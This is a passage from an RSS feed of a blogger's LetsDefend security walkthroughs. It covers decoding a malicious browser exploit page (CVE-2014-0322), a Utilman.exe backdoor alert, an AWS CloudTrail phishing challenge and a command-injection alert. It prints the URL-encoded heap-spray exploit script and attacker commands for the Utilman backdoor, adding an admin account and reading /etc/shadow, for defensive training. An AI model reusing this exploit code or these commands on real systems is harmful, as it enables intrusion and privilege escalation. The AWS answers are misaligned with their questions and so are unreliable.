%63%75%6d%65%6e%74%5b%27%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%27%5d%28%27%53%45%4c%45%43%54%27%29%3b%63%3d%62%5b%27%61%70%70%65%6e%64%43%68%69%6c%64%27%5d%28%63%29%3b%7d%64%6f%63%75%6d%65%6e%74%5b%27%77%72%69%74%65%27%5d%28%27%3c%65%6d%62%65%64%20%73%72%63%3d%5c%27%65%35%36%64%32%2e%73%77%66%5c%27%20%77%69%64%74%68%3d%5c%27%31%30%30%70%78%5c%27%20%68%65%69%67%68%74%3d%5c%27%31%30%30%70%78%5c%27%3e%3c%2f%65%6d%62%65%64%3e%27%29%3b&#39;;<br>        this[hDAVYVhp(693741)](this[hDAVYVhp(2401885046066)](mqQUHDzc));<br>    &lt;/script&gt;<br>    &lt;noscript&gt;<br>        &lt;meta http-equiv=&#39;refresh&#39; content=&#39;0;url=../nojs.php&#39; /&gt;<br>    &lt;/noscript&gt;<br>&lt;/head&gt;<br><br>&lt;/html&gt;</pre><p>Question 1: What function do you identify responsible for converting input to a base 36 string?</p><pre>var hDAVYVhp = function (TRdPNtO) {<br>            return TRdPNtO[&#39;toString&#39;](36)</pre><p>The function `hDAVYVhp` essentially converts the input (`TRdPNtO`) from a decimal number (base 10) into a base-36 string.</p><p><strong>Answer: hDAVYVhp</strong></p><p>Question 2: What is the name of the function that converts numbers to hexadecimal strings with specific formatting?</p><pre>var mqQUHDzc = &quot;%66%75%6e%63%74%69%6f%6e%20%65%59%6c%52%66%58%28%64%77%6f%72%64%29%7b%76%61%72%20%64%3d%4e%75%6d%62%65%72%28%64%77%6f%72%64%29%5b%27%74%6f%53%74%72%69%6e%67%27%5d%28%31%36%29%3b%77%68%69%6c%65%28%64%5b%27%6c%65%6e%67%74%68%27%5d%3c%38%29%7b%64%3d%27%30%27%2b%64%3b%7d%72%65%74%75%72%6e%20%75%6e%65%73%63%61%70%65%28%27%25%75%27%2b%64%5b%27%73%75%62%73%74%72%27%5d%28%34%2c%38%29%2b%27%25%75%27%2b%64%5b%27%73%75%62%73%74%72%27%5d%28%30%2c%34%29%29%3b%7d%76%61%72%20%67%5f%61%72%72%3d%5b%5d%3b%76%61%72%20%61%72%72%4c%65%6e%3d%30%78%32%35%30%3b%66%75%6e%63%74%69%6f%6e%20%66%75%6e%28%29%7b%76%61%72%20%61%3d%30%3b%66%6f%72%28%61%3d%30%3b%61%3c%61%72%72%4c%65%6e%3b%2b%2b%61%29%7b%67%5f%61%72%72%5b%61%5d%3d%64%6f%63%75%6d%65%6e%74%5b%27%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%27%5d%28%27%64%69%76%27%29%3b%7d%3b%76%61%72%20%62%3d%65%59%6c%52%66%58%28%30%78%64%65%61%64%63%30%64%65%29%3b%76%61%72%20%63%3d%30%78%31%61%31%62%32%30%30%30%3b%77%68%69%6c%65%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3c%30%78%33%36%30%29%7b%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%39%34%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%63%2b%30%78%31%30%2d%30%78%30%63%29%3b%7d%65%6c%73%65%20%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%39%38%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%63%2b%30%78%31%34%2d%30%78%38%29%3b%7d%65%6c%73%65%20%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%61%63%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%63%2d%30%78%31%30%29%3b%7d%65%6c%73%65%20%69%66%28%62%5b%27%6c%65%6e%67%74%68%27%5d%3d%3d%28%30%78%31%35%63%2f%32%29%29%7b%62%2b%3d%65%59%6c%52%66%58%28%30%78%34%32%34%32%34%32%34%32%29%3b%7d%65%6c%73%65%7b%62%2b%3d%65%59%6c%52%66%58%28%30%78%31%61%31%62%32%30%30%30%2d%30%78%31%30%29%3b%7d%7d%3b%76%61%72%20%64%3d%62%5b%27%73%75%62%73%74%72%69%6e%67%27%5d%28%30%2c%28%30%78%33%34%30%2d%32%29%2f%32%29%3b%74%72%79%7b%74%68%69%73%5b%27%6f%75%74%65%72%48%54%4d%4c%27%5d%3d%74%68%69%73%5b%27%6f%75%74%65%72%48%54%4d%4c%27%5d%3b%7d%63%61%74%63%68%28%65%29%7b%7d%43%6f%6c%6c%65%63%74%47%61%72%62%61%67%65%28%29%3b%66%6f%72%28%61%3d%30%3b%61%3c%61%72%72%4c%65%6e%3b%2b%2b%61%29%7b%67%5f%61%72%72%5b%61%5d%5b%27%74%69%74%6c%65%27%5d%3d%64%5b%27%73%75%62%73%74%72%69%6e%67%27%5d%28%30%2c%64%5b%27%6c%65%6e%67%74%68%27%5d%29%3b%7d%7d%66%75%6e%63%74%69%6f%6e%20%70%75%49%48%61%33%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%5b%27%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%27%5d%28%27%73%63%72%69%70%74%27%29%3b%76%61%72%20%62%3d%61%5b%30%5d%3b%62%5b%27%6f%6e%70%72%6f%70%65%72%74%79%63%68%61%6e%67%65%27%5d%3d%66%75%6e%3b%76%61%72%20%63%3d%64%6f%63%75%6d%65%6e%74%5b%27%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%27%5d%28%27%53%45%4c%45%43%54%27%29%3b%63%3d%62%5b%27%61%70%70%65%6e%64%43%68%69%6c%64%27%5d%28%63%29%3b%7d%64%6f%63%75%6d%65%6e%74%5b%27%77%72%69%74%65%27%5d%28%27%3c%65%6d%62%65%64%20%73%72%63%3d%5c%27%65%35%36%64%32%2e%73%77%66%5c%27%20%77%69%64%74%68%3d%5c%27%31%30%30%70%78%5c%27%20%68%65%69%67%68%74%3d%5c%27%31%30%30%70%78%5c%27%3e%3c%2f%65%6d%62%65%64%3e%27%29%3b&quot;;</pre><p>The string appears to be <strong>URL-encoded</strong>. Each %xx represents a hexadecimal value, where xx is a two-digit hexadecimal number corresponding to an ASCII character.</p><p><strong>Answer: mqQUHDzc</strong></p><p>Question 3: What is the name of the array that stores developer (div) elements?</p><p>To answer the remaining questions we will have to use <a href="https://gchq.github.io/CyberChef/">cyberchef</a> to decode the obfuscated portion of the code.</p><p>The recipe that I used was <strong>URL Decode</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_mtnEbtYIchUt8IjEFBPNw.png" /><figcaption>Figure 1 (cyberchef)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*XsEbPVpw0Q5sheajXjkHYg.png" /><figcaption>Figure 2 (Variable g_arr)</figcaption></figure><p>We can see from the highlighted section that the variable g_arr is storing the div elements. I’ve also provided the code snippet below:</p><pre>for (a = 0; a &lt; arrLen; ++a) { g_arr[a] = document[&#39;createElement&#39;](&#39;div&#39;); }</pre><p><strong>Answer: g_arr</strong></p><p>Question 4: What is the length of the array storing developer elements in decimal?</p><p>After looking over the code we can see that the variable g_arr stores an array of 592 dynamically created &lt;div&gt; elements. These elements are created in the fun() function, and they are stored in the array to potentially be used or manipulated later in the script. I had to use ChatGPT to get this answer. Feel free to copy and paste the code into ChatGPT and ask it what the length is. It does a great job of explaining the code.</p><p>Here is my explanation. The array g_arr stores 592 &lt;div&gt; elements because the variable arrLen is set to 0x250, which is the hexadecimal representation of 592 in decimal. A for loop iterates 592 times, creating a new &lt;div&gt; element during each iteration and storing it in the g_arr array. Thus, the array ends up with 592 &lt;div&gt; elements.</p><p><strong>Answer: 592</strong></p><p>Question 5: If JavaScript is disabled in the browser, which endpoint is accessed instead?</p><p>If JavaScript is disabled in the browser, the script in the HTML typically includes a &lt;noscript&gt; tag that specifies an alternative endpoint to be accessed.</p><p>In the code you shared, the &lt;noscript&gt; section contains the following:</p><pre> &lt;noscript&gt;<br>        &lt;meta http-equiv=&#39;refresh&#39; content=&#39;0;url=../nojs.php&#39; /&gt;<br> &lt;/noscript&gt;</pre><p><strong>Answer: nojs.php</strong></p><p>Question 6: What is the name of the function responsible for triggering the exploit?</p><p>puIHa3 sets up the trigger for the exploit by modifying the DOM and ensuring that the fun function is called when a property change happens on the &lt;script&gt; element.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*TQi0nzeBk3g-RnJA1NubWg.png" /><figcaption>Figure 3 (the code that triggers this malicious script to run)</figcaption></figure><p><strong>Answer: puIHa3</strong></p><p>Question 7: What is the name of the flash file embedded within the code?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*fUm9JM6h7iFhi4A8siyT8g.png" /><figcaption>Figure 4 (the flash file in question)</figcaption></figure><p>This line uses document.write() to embed a Flash file (e56d2.swf) into the document.</p><p><strong>Answer: e56d2.swf</strong></p><p>Question 8: What is the CVE Number assigned to this exploit?</p><p>You can either get the hash value of the flashback.html file or you can download the file and input it into <a href="https://www.virustotal.com/gui/file/38166bcd78ce810df382d494908431e1a2222d71a96b2d3d03746a8ef7408080/details">VirusTotal.com</a>.</p><p>VirusTotal will give you the CVE of the malware.</p><p>SHA-1 Hash: 1795229c595a45876254580405c50ba33dbad6c1</p><p><strong>Answer: CVE-2014–0322</strong></p><p>Thanks for checking out my walkthrough. Feel free to leave a comment if you have any questions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2bbe61690a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC211 EventID:118 — Utilman.exe Winlogon Exploit Attempt — letsdefend.io]]></title>
            <link>https://medium.com/@alphonsejf/soc211-eventid-118-utilman-exe-winlogon-exploit-attempt-letsdefend-io-ab2227b8f8b8?source=rss-8d7f3154321b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab2227b8f8b8</guid>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jonathan Alphonse]]></dc:creator>
            <pubDate>Mon, 30 Dec 2024 17:59:28 GMT</pubDate>
            <atom:updated>2024-12-30T17:59:28.739Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC211 EventID:118 — Utilman.exe Winlogon Exploit Attempt — letsdefend.io</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*50pk38y6IMl_5Wtz" /></figure><p>This write-up will go over how to investigate this alert. Before we start, we must go over what this alert entails. A “<strong>Utilman.exe Winlogon Exploit Attempt</strong>” alert typically refers to a malicious activity targeting a specific vulnerability in the Windows operating system.</p><p>Here’s a breakdown of each process:</p><p><strong>a. Utilman.exe:</strong> This is a legitimate Windows utility that provides accessibility features, such as an on-screen keyboard or magnifier, to users with disabilities.</p><p><strong>b. Winlogon:</strong> This is a critical Windows process responsible for user login and session management.</p><p><strong>c. Exploit Attempt:</strong> This signifies an attacker trying to leverage a weakness in the system.</p><p>Here’s how the exploit works:</p><ol><li><strong>Replacement:</strong> The attacker replaces the original Utilman.exe file with a malicious version. This malicious version might be a command prompt (cmd.exe) or another harmful executable.</li><li><strong>Accessibility Feature Access:</strong> When a user clicks the “Ease of Access” button on the login screen (which normally launches Utilman.exe), they unknowingly launch the attacker’s malicious code instead.</li><li><strong>Elevated Privileges:</strong> Since Utilman.exe runs with elevated privileges (system-level access), the attacker’s code gains significant control over the system.</li></ol><p>Now that we have this in mind, let’s go over the alert.</p><pre>EventID :161<br>Event Time :June, 21, 2023, 11:02 AM<br>Rule :SOC211 - Utilman.exe Winlogon Exploit Attempt<br>Level :Security Analyst<br>Incident Type: LOLBin<br>Hostname :Henry<br>Source IP Address :172.16.17.149<br>Process Name: Utilman.exe<br>Process Hash: ded8fd7f36417f66eb6ada10e0c0d7c0022986e9<br>Process Process: Winlogon.exe<br>Command Line: net user superman onepunch123 /add<br>Alert Trigger Reason : Command Launched from Winlogon<br>Device Action :Allowed</pre><p><strong>What’s the Problem?</strong></p><p>The alert was triggered due to the detection of someone modifying the ‘Utilman.exe’ within the operating system. This suggests a possible attempt to obtain information about the current user by installing malware. Unfortunately, this action was successfully executed on the device.</p><p><strong>Verifying the Malicious Actions on the Endpoint Device</strong></p><p>To ensure that this wasn’t a false positive, we need to verify that these commands were successfully run on the endpoint. We know that the device action was allowed which means that the following actions were taken on the endpoint device.</p><p>Looking at the Terminal History, we can see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*roqYMkn3CvE3BsoNnMXaZQ.png" /><figcaption>Figure 1 (Terminal History)</figcaption></figure><p>Let&#39;s go over some key events:</p><p>We can see from these commands that were executed in cmd that the attacker conducted a successful privilege escalation.</p><pre>2023-06-21 10:07:05.123 - rename utilman.exe utilman.old<br><br>This command renames the legitimate Windows utility <br>&quot;utilman.exe&quot; with &quot;utilman.old&quot;. The attacker will replace the legitimate <br>utility with a malicious one using the same name. </pre><pre>2023-06-21 10:07:12.580 - copy cmd.exe utilman.exe<br><br>This command attempts to replace the legitimate Windows utility <br>&quot;utilman.exe&quot; with &quot;cmd.exe&quot;, which is the command prompt executable.</pre><pre>2023-06-21 11:00:00.743 - net user<br><br>Now that the attacker was able to access the command prompt they are trying<br>to figure out who&#39;s account they have compromised and what permissions<br>they have? </pre><pre>2023-06-21 11:00:09.520 whoami<br><br>whoami will tell you who you are logged in as. </pre><pre>2023-06-21 11:02:12.657 - net user superman onepunch123 /add<br><br>The attacker used the command <br>&quot;net user superman onepunch123 /add&quot; is used <br>to create a new user account on a Windows system.</pre><pre>2023-06-21 11:03:14.706 - net localgroup administrators superman /add<br><br>The command &quot;net localgroup administrators superman /add&quot; <br>grants administrative privileges to the user account <br>named &quot;superman&quot; on the local computer</pre><p>Now that we are certain that this is a True Positive, we will contain this endpoint and recommend that it be reviewed by the incident response team (Figure 2).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*YMqnWydXczUkfcId.png" /><figcaption>Figure 2 — Contain Windows 10 Client (Henry)</figcaption></figure><p>Let’s start working on the PlayBook Answers:</p><ol><li>Determine Suspicious Activity: <strong>Yes, Suspicious</strong></li><li>What is suspicious activity?: <strong>Persistence (</strong>The alert indicates that the Utilman.exe process, which is typically associated with the “Ease of Access” button on the login screen, is running a command as a child process of Winlogon.exe. This activity leads to the creation of a user account superman, and the escalation of his privileges to the Administrators. The answer is persistence.<strong>) </strong>refer to MITRE to learn more about this: <a href="https://attack.mitre.org/techniques/T1546/008/">https://attack.mitre.org/techniques/T1546/008/</a>.</li><li>Who performed the activity?: <strong>User (If we review the processes logs from the endpoint security tab, we can see Henry and Superman perform suspicious activities.)</strong></li><li>Is this a True Positive or False Negative: <strong>True Positive</strong></li></ol><p>Thanks for reading this walkthrough.</p><p>#SOC #BlueTeam #LetsDefend</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab2227b8f8b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Write-Up] Lets Defend AWS Stacked Challenge]]></title>
            <link>https://medium.com/@alphonsejf/write-up-lets-defend-aws-stacked-challenge-3a3a4ff634bd?source=rss-8d7f3154321b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a3a4ff634bd</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[it]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[letsdefendio]]></category>
            <dc:creator><![CDATA[Jonathan Alphonse]]></dc:creator>
            <pubDate>Fri, 27 Dec 2024 17:20:52 GMT</pubDate>
            <atom:updated>2024-12-27T17:20:52.780Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*N4r5Sp3G1GGm35y5" /></figure><p>I’ve decided to create a write-up for the Let’s Defend challenge titled AWS Stacked. I’m new to reviewing AWS json log files so this challenge helped me learn some new things. I didn’t use grep for this challenge since the log file wasn’t overwhelming. I used ctrl-f mainly. The lab environment can be a bit laggy so try pasting your word searches instead of trying to type them in may work better for you.</p><p>Before we can get started, make sure to start the Lab Environment and run the following scripts in the terminal. This will unzip the challenge files for you.</p><pre>Lab Instructions<br><br>1- Become root: sudo su<br><br>2- Navigate into the AWSLogs directory: cd /root/Desktop/ChallengeFile/AWSLogs/670756667180/CloudTrail/us-east-1/2023/06/01<br><br>3- Unzip the files: find . -type f -exec gunzip {} \;</pre><p>Your terminal should look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xdji2tgkwxx042-HpKniNA.png" /><figcaption>figure 1</figcaption></figure><p>We will be looking at these three logs during this challenge:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U_7zP6EbXOFwa9OxFznYcQ.png" /><figcaption>figure 2</figcaption></figure><p>With that out the way, here is the scenario: An unsuspecting cloud intern at MechZone clicks on an AWS phishing link, inadvertently deploying malicious resources into his company’s cloud environment. Your task is to investigate the source of the compromise and the malicious resources that were staged within the environment by the attacker.</p><p>Question 2: What AWS service was used to deploy malicious resources into the environment?</p><p>We know the user who fell for the phishing email was an intern so let&#39;s start by searching for “intern”. This will help us find the “userName” of the person and their corresponding “arn”.</p><p>We can see in the very first record in the first log file that userName is “cloud-ops-intern” and the arn is “arn:aws:iam::670756667180:user/cloud-ops-intern”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nr8Fd6Q3FZCf0_KTEigYlA.png" /><figcaption>figure 3</figcaption></figure><pre>arn:aws:iam::670756667180:user/cloud-ops-intern</pre><p>Question 3: How many malicious compute resources were deployed?</p><p>For this question, we can search for the event source. We can see that the name of the environment is “cloudformation.amazonaws.com”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7hdI6NJ_iKmO8uwnMlkLg.png" /><figcaption>figure 4</figcaption></figure><pre>cloudformation</pre><p>Question 4: What is the instance type observed for these resources?</p><p>For this question, we have to look at the third log pictured above (figure 2).</p><p>We start by looking for the userName “cloud-ops-intern”.</p><p>We can see from this highlighted section that 2 suspicious events happened that involved the User. We can see that a remote shell using port 22 was accessed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6E4KAvqrZXFnqno1av90Aw.png" /><figcaption>figure 5</figcaption></figure><pre>2</pre><p>Question 5: What IP CIDR Range did the malicious security group allow for inbound access?</p><p>Within the same log search for “InstanceType” and you will only see c5.large is the only instance type that is mentioned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jn4tcqvETQ5qrLsxd_e-kw.png" /><figcaption>figure 6</figcaption></figure><pre>c5.large</pre><p>Question 5: What IP CIDR Range did the malicious security group allow for inbound access?</p><p>Back in question 3 (figure 5), I screenshotted the main 2 log events that we would be using to answer most of these questions. If we go back to those events, we can find the cidrIP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*50XYGjjjlqRH_8btKwr2tQ.png" /><figcaption>figure 7</figcaption></figure><pre>31.187.69.0/24</pre><p>Question 7: What protocol was allowed for inbound access?</p><p>If we look a few lines down from the cidrIP address, we can see that the fromPort is 22.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2xdNNb-hzBkedG-5gYHwZw.png" /><figcaption>figure 8</figcaption></figure><pre>22</pre><p>Question 8: What is the user name given to the malicious identity that was deployed?</p><p>We know that Port 22 is SSH and SSH uses TCP.</p><pre>tcp</pre><p>Question 9: What IP address did the attack originate from?</p><p>To find the answer to this question, I began looking for different userNames that began to appear after the events that occurred in question 3. I search for “userName” and “Cloudformation.amazonaws.com”. I came across this username after doing some searching “devops — admin”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FoirLRWYIgF_uCOthTUbbw.png" /><figcaption>figure 9</figcaption></figure><pre>devops-admin</pre><p>Question 9: What IP address did the attack originate from?</p><p>We will be looking at the same 2 events from the question 3 logs (figure 5). As we can see from the 1st log the sourceIP address is 31.187.69.154. This is the IP address that the attack originated from.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hGUL46QUp539oIakOVn51Q.png" /><figcaption>figure 10</figcaption></figure><pre>31.187.69.154</pre><p>Thanks for reading my write-up.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a3a4ff634bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC168 EventID:118 — Whoami Command Detected in Request Body — letsdefend.io]]></title>
            <link>https://medium.com/@alphonsejf/soc168-eventid-118-whoami-command-detected-in-request-body-letsdefend-io-9d9bc38348d4?source=rss-8d7f3154321b------2</link>
            <guid isPermaLink="false">https://medium.com/p/9d9bc38348d4</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[lets-defend]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Jonathan Alphonse]]></dc:creator>
            <pubDate>Sun, 25 Aug 2024 02:12:23 GMT</pubDate>
            <atom:updated>2024-08-25T02:12:23.766Z</atom:updated>
            <content:encoded><![CDATA[<h3>SOC168 EventID:118 — Whoami Command Detected in Request Body — letsdefend.io</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8zC_OrATSLo08u_jW0SYw.png" /><figcaption>Welcome to the SOC</figcaption></figure><p>This write-up will go over how to investigate this alert. Before we start, we must go over what this alert entails. A “w<strong>hoami command detected</strong>” alert is typically indicative of a command injection vulnerability. This type of attack occurs when a hacker tries to inject malicious code into a system’s input, causing it to execute unintended commands.</p><p>How it works:</p><ol><li><strong>Vulnerability:</strong> A system or application may have a vulnerability that allows users to input arbitrary commands.</li><li><strong>Injection:</strong> An attacker exploits this vulnerability by crafting a malicious input that includes the “whoami” command or similar commands.</li><li><strong>Execution:</strong> When the system processes the input, it inadvertently executes the injected command, revealing the current user’s identity or other sensitive information.</li></ol><p>Now that we have this in mind, let’s go over the alert.</p><pre>EventID :118<br>Event Time :February 28, 2022 at 04:12 AM<br>Rule :SOC168 - Whoami Command Detected in Request Body<br>Level :Security Analyst<br>Hostname :WebServer1004<br>Destination IP Address :172.16.17.16<br>Source IP Address :61.177.172.87<br>HTTP Request Method :POST<br>Requested URL :https://172.16.17.16/video/<br>User-Agent :Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)<br>Alert Trigger Reason :Request Body Contains whoamistring<br>Device Action :Allowed</pre><p><strong>What’s the Problem?</strong></p><p>The alert was triggered due to the detection of the ‘<strong>whoami</strong>’ string within the request body. This suggested a possible attempt to obtain information about the current user. Although the device was granted permission for the request, the alert indicates that the ‘<strong>whoami</strong>’ command was sent in the POST request body rather than in the URL.</p><p><strong>Log Management</strong></p><p>If we take a look at the Log Management tab and filter for packets coming from source IP 61.177.172.87 and going to destination IP 172.16.17.16 on February 28, 2022 here is what we find (Figure 1):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z4PV9f-LRcE0P-VF-ZoaDg.png" /><figcaption>Figure 1 — Log Management</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e70OnsjvhgcdOdoNJEW_8A.png" /><figcaption>Figure 2 — Analyzing Raw Log</figcaption></figure><p>In Figure 2 (Above) we can see that the POST request contains a malicious whoami command. Since the request returned the HTTP Response Status code of 200, we know that the malicious command was successfully execuded on the WebServer1004. After reviewing the other raw logs, we can see that the following commands where also succesfully executed: ?c=ls, ?c=cat /etc/passwd, ?c=cat /etc/shadow and ?c=uname.</p><p>Why would a hacker try to run these commands?</p><ol><li>The ls command is used to list the files and directories within a directory. The attacker might be trying to explore the server’s file structure by examining the contents of the current directory or a specific location.</li><li>Thecat /etc/passwd command is an attempt to read the /etc/passwd file, which contains user account information.</li><li>The cat /etc/shadow command tries to access the /etc/shadow file, typically used to store hashed passwords on Unix-like systems.</li><li>The uname command is employed to retrieve system information, including the operating system and kernel version.</li></ol><p><strong>Verifying the Malicious Actions on the Endpoint Device</strong></p><p>To ensure that this wasn’t a false positive, we need to verify that these commands where succesfully ran on the webserver as alerted by our firewall. After reviewing the endpoint logs, we can see that these commands were in fact succesfully ran by a malicious actor (Figure 3).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*uJqLoKkdEM2YUNhB6VH3bQ.png" /><figcaption>Figure 3 — Terminal History Logs</figcaption></figure><p>Now that we are certain that this is a True Positive, we will contain this endpoint and recommend that it be reviewed by the incident response team (Figure 4).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*gSe_r1NszP4ziBR1Catnaw.png" /><figcaption>Figure 4 — Contain WebServer1004</figcaption></figure><p>Finally, Let’s go over the PlayBook Answers:</p><ol><li>Is the Traffic Malicious: <strong>Yes</strong></li><li>What is the Attack Type: <strong>Command Injection</strong></li><li>Check if it is a Planned Test: <strong>Not Planned (Reviewed emails to see if anything was sent from the Red Team about conducting pentesting exercises on the WebServer1004. I wasn’t able to find anything)</strong></li><li>What Is the Direction of Traffic?: <strong>Internet — &gt; Company Network</strong> (Reviewed Source and Destination IP Address to determine the direction of the network traffic)</li><li>Was the Attack Successful?: <strong>Yes (HTTP Response Status: 200 OK)</strong></li><li>Do You Need Tier 2 Escalation?: Yes (We found a successful command injection attack. This alert should be reviewed by the IR team)</li><li>Is this a True Positive or False Negative: <strong>TP</strong></li></ol><p>Thanks for reading this walkthrought.</p><p>#SOC #BlueTeam #LetsDefend</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d9bc38348d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>